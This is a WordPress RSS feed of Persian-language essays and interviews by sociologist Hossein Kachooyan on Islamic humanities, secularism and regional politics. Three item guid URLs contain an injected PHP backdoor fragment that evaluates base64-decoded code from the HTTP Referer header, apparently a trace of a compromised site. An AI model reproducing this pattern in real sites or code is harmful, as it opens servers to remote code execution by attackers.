<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>وب‌گاه دکتر حسین کچویان</title>
	<atom:link href="http://kachooyan.com/wp/feed/" rel="self" type="application/rss+xml" />
	<link>http://kachooyan.com/wp</link>
	<description>مصاحبه‌ها، سخنرانی‌ها، مقالات و کتاب‌های حسین کچویان</description>
	<lastBuildDate>Fri, 17 Feb 2012 10:52:14 +0000</lastBuildDate>
	<language>fa</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>بحران معرفت&#8204;شناسی تجدد و علم بومی یا غیرتاریخی: معضلهٔ جمع متناقضین</title>
		<link>http://kachooyan.com/wp/1390/11/27/scientific-universalism-or-particularism/</link>
		<comments>http://kachooyan.com/wp/1390/11/27/scientific-universalism-or-particularism/#comments</comments>
		<pubDate>Thu, 16 Feb 2012 10:42:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مقالات]]></category>
		<category><![CDATA[بحران تجدد]]></category>
		<category><![CDATA[تاریخ‌گرایی]]></category>
		<category><![CDATA[خاص‌گرایی]]></category>
		<category><![CDATA[عام‌گرایی]]></category>
		<category><![CDATA[علم بومی]]></category>
		<category><![CDATA[علوم انسانی اسلامی]]></category>
		<category><![CDATA[معرفت‌شناسی]]></category>
		<category><![CDATA[کتاب ماه علوم اجتماعی]]></category>

		<guid isPermaLink="false">http://kachooyan.com/wp/?p=189</guid>
		<description><![CDATA[مقالهٔ زیر سرمقالهٔ شمارهٔ ۴۶ و ۴۷ (دی و بهمن‌ما) کتاب ماه علوم اجتماعی، نوشتهٔ حسین کچویان است. علم بومی تعبیری است که در ادبیات معاصر علوم اجتماعی در جهان پاسخ یا راه‏حلی برای مشکلات علم غربی تلقی شده‌است. در مقابلِ این تعبیر عام که وجهی جهانی دارد، علم دینی و مشخصاً علم اسلامی قرار [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/11/27/scientific-universalism-or-particularism/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>از تحول تمدنى تاریخى تا انقلاب معرفتى علمى</title>
		<link>http://kachooyan.com/wp/1390/10/27/ketabe-maah-foreword/</link>
		<comments>http://kachooyan.com/wp/1390/10/27/ketabe-maah-foreword/#comments</comments>
		<pubDate>Tue, 17 Jan 2012 09:37:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مقالات]]></category>
		<category><![CDATA[انقلاب اسلامی]]></category>
		<category><![CDATA[انقلاب فرهنگی]]></category>
		<category><![CDATA[علوم انسانی اسلامی]]></category>
		<category><![CDATA[فلسفه تاریخ]]></category>
		<category><![CDATA[کتاب ماه علوم اجتماعی]]></category>

		<guid isPermaLink="false">http://kachooyan.com/wp/?p=183</guid>
		<description><![CDATA[مطلب زیر سرمقاله‌ی دوره‌ی جدید کتاب ماه علوم اجتماعی، نوشتهٔ حسین کچویان است، که با مدیریت و محتوایی جدید از ابتدای آبان ماه ۱۳۹۰ عرضه می‌شود. تبدیل علوم انسانی-اجتماعی سکولار یا مدرن به مسئله اجتماعی یا مسئله دارشدن این علوم به لحاظ اجتماعی در ایران طبیعی‌ترین و منطقی‌ترین اتفاقی بوده‌است که با وقوع انقلاب کبیر [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/10/27/ketabe-maah-foreword/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>الگوی اسلامی-ایرانی پیشرفت و دولت&#8204;های پس از انقلاب</title>
		<link>http://kachooyan.com/wp/1390/10/18/islamic-model-of-progress/</link>
		<comments>http://kachooyan.com/wp/1390/10/18/islamic-model-of-progress/#comments</comments>
		<pubDate>Sun, 08 Jan 2012 18:07:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مصاحبه‌ها]]></category>
		<category><![CDATA[الگوی اسلامی-ایرانی پیشرفت]]></category>
		<category><![CDATA[توسعه]]></category>
		<category><![CDATA[تولید علم]]></category>
		<category><![CDATA[سازندگی]]></category>

		<guid isPermaLink="false">http://kachooyan.com/wp/1390/10/18/islamic-model-of-progress/</guid>
		<description><![CDATA[گفتگوی زیر را رجانیوز با حسین کچویان دربارهٔ الگوی اسلامی و ایرانی پیشرفت و کارنامهٔ دولت‌های پس از انقلاب دربارهٔ آن انجام داده است. حجت‌الاسلام علی کشوری، محمد مهدی تهرانی: در دومین نشست از سلسله نشست‏های تبیین نقشه الگوی پیشرفت اسلامی با دکتر حسین کچویان کارنامه دولت‏های بعد از انقلاب را به بحث گذاشتیم تا [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/10/18/islamic-model-of-progress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>خاستگاه اجتماعی تاریخی سکولاریسم در غرب</title>
		<link>http://kachooyan.com/wp/1390/09/29/socio-historical-origin-of-secularism-in-west/</link>
		<comments>http://kachooyan.com/wp/1390/09/29/socio-historical-origin-of-secularism-in-west/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 12:34:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[سخنرانی‌ها]]></category>
		<category><![CDATA[سکولاریزم]]></category>
		<category><![CDATA[علوم اجتماعی]]></category>
		<category><![CDATA[غرب]]></category>
		<category><![CDATA[فلسفه تاریخ]]></category>

		<guid isPermaLink="false">http://kachooyan.com/wp/?p=187</guid>
		<description><![CDATA[متن زیر خلاصه‌ای از سخنرانی حسین کچویان در همایش اسلام و سکولاریسم است ک در روز سه‌شنبه ۲۹ آذرماه ۱۳۹۰ در تالار شیخ انصاری دانشکده حقوق دانشگاه تهران در دو نوبت صبح و عصر برگزار شد. متن زیر به نقل از این منبع است. برخی منابع دیگر از جمله این منبع، این منبع و این [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/09/29/socio-historical-origin-of-secularism-in-west/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>تنها فلسفه تاریخ درست فلسفه تاریخی است که ریشه در وحی داشته باشد</title>
		<link>http://kachooyan.com/wp/1390/07/18/revelation-and-philosophy-of-history/</link>
		<comments>http://kachooyan.com/wp/1390/07/18/revelation-and-philosophy-of-history/#comments</comments>
		<pubDate>Mon, 10 Oct 2011 16:33:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[سخنرانی‌ها]]></category>
		<category><![CDATA[فلسفه تاریخ]]></category>
		<category><![CDATA[فلسفه علم]]></category>

		<guid isPermaLink="false">http://kachooyan.com/wp/1390/07/18/revelation-and-philosophy-of-history/</guid>
		<description><![CDATA[به گزارش خبرنگار علمی «خبرگزاری دانشجو»، دکتر حسین کچوئیان ۱۴ مهرماه در سلسله کلاس‌های «دانشگاه موازی» در کانون اندیشه جوان با بیان اینکه فلسفه تاریخ، بحثی مجزا از فلسفه علم تاریخ است، گفت: فلسفه تاریخ مثل علوم فیزیک، شیمی، جامعه شناسی حوزه ای معطوف به شناسایی امر واقع است و به عنوان یک علم هستی [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/07/18/revelation-and-philosophy-of-history/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>مبارزه&#8204;ی هویتی: در باب ماهیت اسلامی جنبش&#8204;های اخیر منطقه</title>
		<link>http://kachooyan.com/wp/1390/07/06/identity-stuggle-islamic-awakenig/</link>
		<comments>http://kachooyan.com/wp/1390/07/06/identity-stuggle-islamic-awakenig/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 16:02:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مقالات]]></category>
		<category><![CDATA[بهار عربی]]></category>
		<category><![CDATA[بیداری اسلامی]]></category>
		<category><![CDATA[دموکراسی‌سازی]]></category>
		<category><![CDATA[هویت اسلامی]]></category>

		<guid isPermaLink="false">http://kachooyan.com/wp/1390/07/06/identity-stuggle-islamic-awakenig/</guid>
		<description><![CDATA[متن زیر دوشنبه ۴ مهر ۱۳۹۰ در روزنامهٔ کیهان شمارهٔ ۲۰۰۳۲ منتشر شده است. رخدادهای واقع شده در منطقه از پایان بهار گذشته، پس از شکل گیری موج دوم تحرکات مردمی در مصر تحت عنوان «انقاذ الثوره» یا نجات انقلاب که با تحرکات مشابهی در تونس و یمن دنبال گردیده و نهایتا به حملات ماه [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/07/06/identity-stuggle-islamic-awakenig/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>درباب تناقضات عمل جریانات اسلامی در جنبش&#8204;های بیداری اسلامی</title>
		<link>http://kachooyan.com/wp/1390/06/28/contradiction-of-actions-of-islamic-movements/</link>
		<comments>http://kachooyan.com/wp/1390/06/28/contradiction-of-actions-of-islamic-movements/#comments</comments>
		<pubDate>Mon, 19 Sep 2011 16:00:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مقالات]]></category>
		<category><![CDATA[اسلام هراسی]]></category>
		<category><![CDATA[بیداری اسلامی]]></category>
		<category><![CDATA[هویت اسلامی]]></category>

		<guid isPermaLink="false">http://kachooyan.com/?p=169</guid>
		<description><![CDATA[مقالهٔ زیر در روزنامهٔ کیهان مورخ ۲۸ شهریور ۱۳۹۰، شمارهٔ ۲۰۰۲۷ به چاپ رسیده است. گردهمایی نخبگان مسلمان در تهران در بحبوحه برپایی قیام گسترده مردمی در جهان اسلام اقدامی بسیار اساسی و راهبردی است که می‌تواند با توجه به خلأ مشهود رهبری و سازماندهی موجود در این نهضت‌ها، نقشی تعیین کننده در روند و [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/06/28/contradiction-of-actions-of-islamic-movements/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>راهبرد تجدید دموکراتیک سلطه یا نظم مابعدتجددی استعمار</title>
		<link>http://kachooyan.com/wp/1390/01/23/post-modern-order-islamic-awakening/</link>
		<comments>http://kachooyan.com/wp/1390/01/23/post-modern-order-islamic-awakening/#comments</comments>
		<pubDate>Tue, 12 Apr 2011 17:01:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مقالات]]></category>
		<category><![CDATA[استعمار]]></category>
		<category><![CDATA[بیداری اسلامی]]></category>
		<category><![CDATA[سلطه]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1390/01/23/post-modern-order-islamic-awakening/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[یادداشت زیر در صفحهٔ اندیشهٔ شمارهٔ ۴۷۶۴ روزنامهٔ ایران (۲۳ فروردین ۱۳۹۰) به چاپ رسیده است. اینکه جریان اسلامی در کشورهای مسلمان به موقعیتی چون حزب الله در کشوری طایفه‌ای کشانده شود، مستلزم فرض عدم حساسیت توده‌های مسلمان و همراهی آنها با امریکایی‌ها و باقیمانده‌های رژیم‌های جبار نیز هست. از این‌رو گرچه نیروهای اسلامی برای [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/01/23/post-modern-order-islamic-awakening/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>غرب در تلاش ناکامی انقلاب&#8204;های منطقه: دموکراسی خواهی وسیاست افتراقی مهار</title>
		<link>http://kachooyan.com/wp/1390/01/20/iran-4761/</link>
		<comments>http://kachooyan.com/wp/1390/01/20/iran-4761/#comments</comments>
		<pubDate>Sat, 09 Apr 2011 16:40:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مقالات]]></category>
		<category><![CDATA[بیداری اسلامی]]></category>
		<category><![CDATA[دموکراسی]]></category>
		<category><![CDATA[لیبی]]></category>
		<category><![CDATA[یمن]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1390/01/20/iran-4761/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[یادداشت زیر در صفحهٔ اندیشهٔ شمارهٔ ۴۷۶۱ روزنامهٔ ایران (۲۰ فروردین ۱۳۹۰) به چاپ رسیده است. سیاست‌های غرب به رهبری امریکا در مواجهه با جنبش‌های منطقه بهترین معیار برای درک موضع و رویکرد آنها نسبت به این تحولات می‌باشد. این سیاست برپایه راهبردی به اجرا در می‌آید که می‌توان آن را راهبرد ایجاد انقلابات ناتمام، [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/01/20/iran-4761/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>تنها انتخاب</title>
		<link>http://kachooyan.com/wp/1390/01/15/the-only-option/</link>
		<comments>http://kachooyan.com/wp/1390/01/15/the-only-option/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 17:07:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مقالات]]></category>
		<category><![CDATA[بیداری اسلامی]]></category>
		<category><![CDATA[غرب]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1390/01/15/the-only-option/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[یادداشت زیر سرمقالهٔ شمارهٔ ۴۷۵۷ روزنامهٔ ایران (۱۵ فروردین ۱۳۹۰) است. از آغاز انتفاضه مسلمانان خاورمیانه، موضع و رویکرد استکبار غرب نسبت به این قیام‌ها یکی از عمده‌ترین دلایل ابهامی بوده‌است که در مورد این تحولات وجود داشته‌است. در حالی که تمامی جنبش‌های کنونی جهان اسلام علیه حاکمان مستبد و وابسته‌ای است که مستقیماً یا [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1390/01/15/the-only-option/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>گفتگوی تفصیلی پنجره با کچویان: بازگشت به دیانت</title>
		<link>http://kachooyan.com/wp/1389/11/11/panjere-talk-return-to-religion/</link>
		<comments>http://kachooyan.com/wp/1389/11/11/panjere-talk-return-to-religion/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 13:49:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[دسته‌بندی نشده]]></category>
		<category><![CDATA[آکادمی]]></category>
		<category><![CDATA[امام خمینی]]></category>
		<category><![CDATA[تفکیک]]></category>
		<category><![CDATA[جامعه‌شناسی]]></category>
		<category><![CDATA[دین]]></category>
		<category><![CDATA[علم]]></category>
		<category><![CDATA[پنچره]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1389/11/11/%da%af%d9%81%d8%aa%da%af%d9%88%db%8c-%d8%aa%d9%81%d8%b5%db%8c%d9%84%db%8c-%d9%be%d9%86%d8%ac%d8%b1%d9%87-%d8%a8%d8%a7-%da%a9%da%86%d9%88%db%8c%d8%a7%d9%86-%d8%a8%d8%a7%d8%b2%da%af%d8%b4%d8%aa-%d8%a8/</guid>
		<description><![CDATA[سه سال پس از گفتگوی کچویان و فاضلی در اردیبهشت ۸۶ در دانشگاه علامه طباطبایی که برخی عنوان مرگ جامعه‌شناسی را به آن دادند و چندی پس از مناظرهٔ پرحاشیهٔ کچویان و اباذری در سالن ابن‌خلدون دانشکدهٔ علوم اجتماعی دانشگاه تهران، و پس از شمارهٔ «تخریبی» اخیر مهرنامه، هفته‌نامهٔ پنجره شمارهٔ ۷۹ را به پروندهٔ [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1389/11/11/panjere-talk-return-to-religion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>جامعه&#8204;شناسی و مطالعات فرهنگی، یادداشتی از دکتر حمید پارسانیا</title>
		<link>http://kachooyan.com/wp/1389/11/11/panjere-sociology-cultural-studies/</link>
		<comments>http://kachooyan.com/wp/1389/11/11/panjere-sociology-cultural-studies/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 12:33:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[دیگران]]></category>
		<category><![CDATA[جامعه‌شناسی]]></category>
		<category><![CDATA[حسین کچویان]]></category>
		<category><![CDATA[حمید پارسانیا]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1389/11/11/panjere-sociology-cultural-studies/</guid>
		<description><![CDATA[ذَلِک بِأَن اللهَ هُوَ الْحَق وَأَن مَا یدْعُونَ مِن دُونِهِ الْبَاطِلُ (سوره لقمان – آیه ۳۰) آقای دکتر کچویان از زمان نشست با دکتر فاضلی، در دانشگاه علامه طباطبایی، مدتی است که باب گفت‎وگو درباره مرگ و زندگی جامعه‎شناسی و نسبت جامعه‎شناسی با مطالعات فرهنگی را گشوده است؛ برگزارکننده آن نشست، یعنی بسیج دانشجویی دانشگاه [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1389/11/11/panjere-sociology-cultural-studies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>حاشیه&#8204;های گفتگوی پنجره با کچویان</title>
		<link>http://kachooyan.com/wp/1389/11/11/panjere-talk-hot-topics/</link>
		<comments>http://kachooyan.com/wp/1389/11/11/panjere-talk-hot-topics/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 11:48:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[مصاحبه‌ها]]></category>
		<category><![CDATA[بنیادهای قدسی]]></category>
		<category><![CDATA[جناح راست]]></category>
		<category><![CDATA[جناح چپ]]></category>
		<category><![CDATA[مهرنامه]]></category>
		<category><![CDATA[میرحسین موسوی]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1389/11/11/panjere-talk-hot-topics/</guid>
		<description><![CDATA[در دوره نوجوانی، همسایه ما برادر ملک الشعرای بهار بود و انواع کتب و مجلات روشنفکری در خانه او یافته می‎‎شد. من پایان هر ماه یک بسته از مجلات مختلف را که وی خوانده بود و می‎‎خواست دور بریزد، می‎‎گرفتم و با ولع تمام هرچه در آن‎ها بود، می‎‎خواندم. این کار تا مدت‎ها پس از [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1389/11/11/panjere-talk-hot-topics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>جامعه&#8204;شناسی از جنس دیگر، یادداشتی از دکتر سهیلا صادقی فسایی</title>
		<link>http://kachooyan.com/wp/1389/11/11/panjere-sadeghi/</link>
		<comments>http://kachooyan.com/wp/1389/11/11/panjere-sadeghi/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 11:33:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[دیگران]]></category>
		<category><![CDATA[حسین کچویان]]></category>
		<category><![CDATA[سهیلا صادقی]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1389/11/11/panjere-sadeghi/</guid>
		<description><![CDATA[سابقه آشنایی من با دکتر حسین کچویان به ۲۵ سال پیش بازمی‎گردد؛ زمانی‎که در دوران فوق لیسانس با ایشان همکلاس بودم. از همان زمان کچویان به‎عنوان یک دانشجوی اهل موشکافی و تجزیه و تحلیل مسائل علمی، در کلاس‎‎ها مطرح بود و به‎لحاظ پویش فکری بی‎نظیری که در بحث‎‎های نظری داشت، در نگاه همکلاسان و اساتید، [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1389/11/11/panjere-sadeghi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>مروری بر کارنامهٔ علمی حسین کچویان</title>
		<link>http://kachooyan.com/wp/1389/11/11/kachooyan-books-short-review/</link>
		<comments>http://kachooyan.com/wp/1389/11/11/kachooyan-books-short-review/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 10:38:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[کتاب‌ها]]></category>
		<category><![CDATA[تجدد]]></category>
		<category><![CDATA[تطورات گفتمان‌های هویتی]]></category>
		<category><![CDATA[جهانی شدن]]></category>
		<category><![CDATA[وگلین]]></category>

		<guid isPermaLink="false">http://kachooyan.com/1389/11/11/kachooyan-books-short-review/</guid>
		<description><![CDATA[نوشته‌ای که در ادامه‌ می‌آید، مروری است بر گزیده‌ای از کارهای علمی کچویان در چندسال اخیر. این متن به قلم محمد ملاعباسی و در شمارهٔ ۷۹ هفته‌نامهٔ پنجره منتشر شده است. در این نوشته کوشش شده‌است تا با مروری بر تألیفات اصلی دکتر حسین کچویان در سال‌‎های اخیر، کلیات چشم‌انداز فکری او از خلال خلاصه‎ای [...]]]></description>
		<wfw:commentRss>http://kachooyan.com/wp/1389/11/11/kachooyan-books-short-review/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

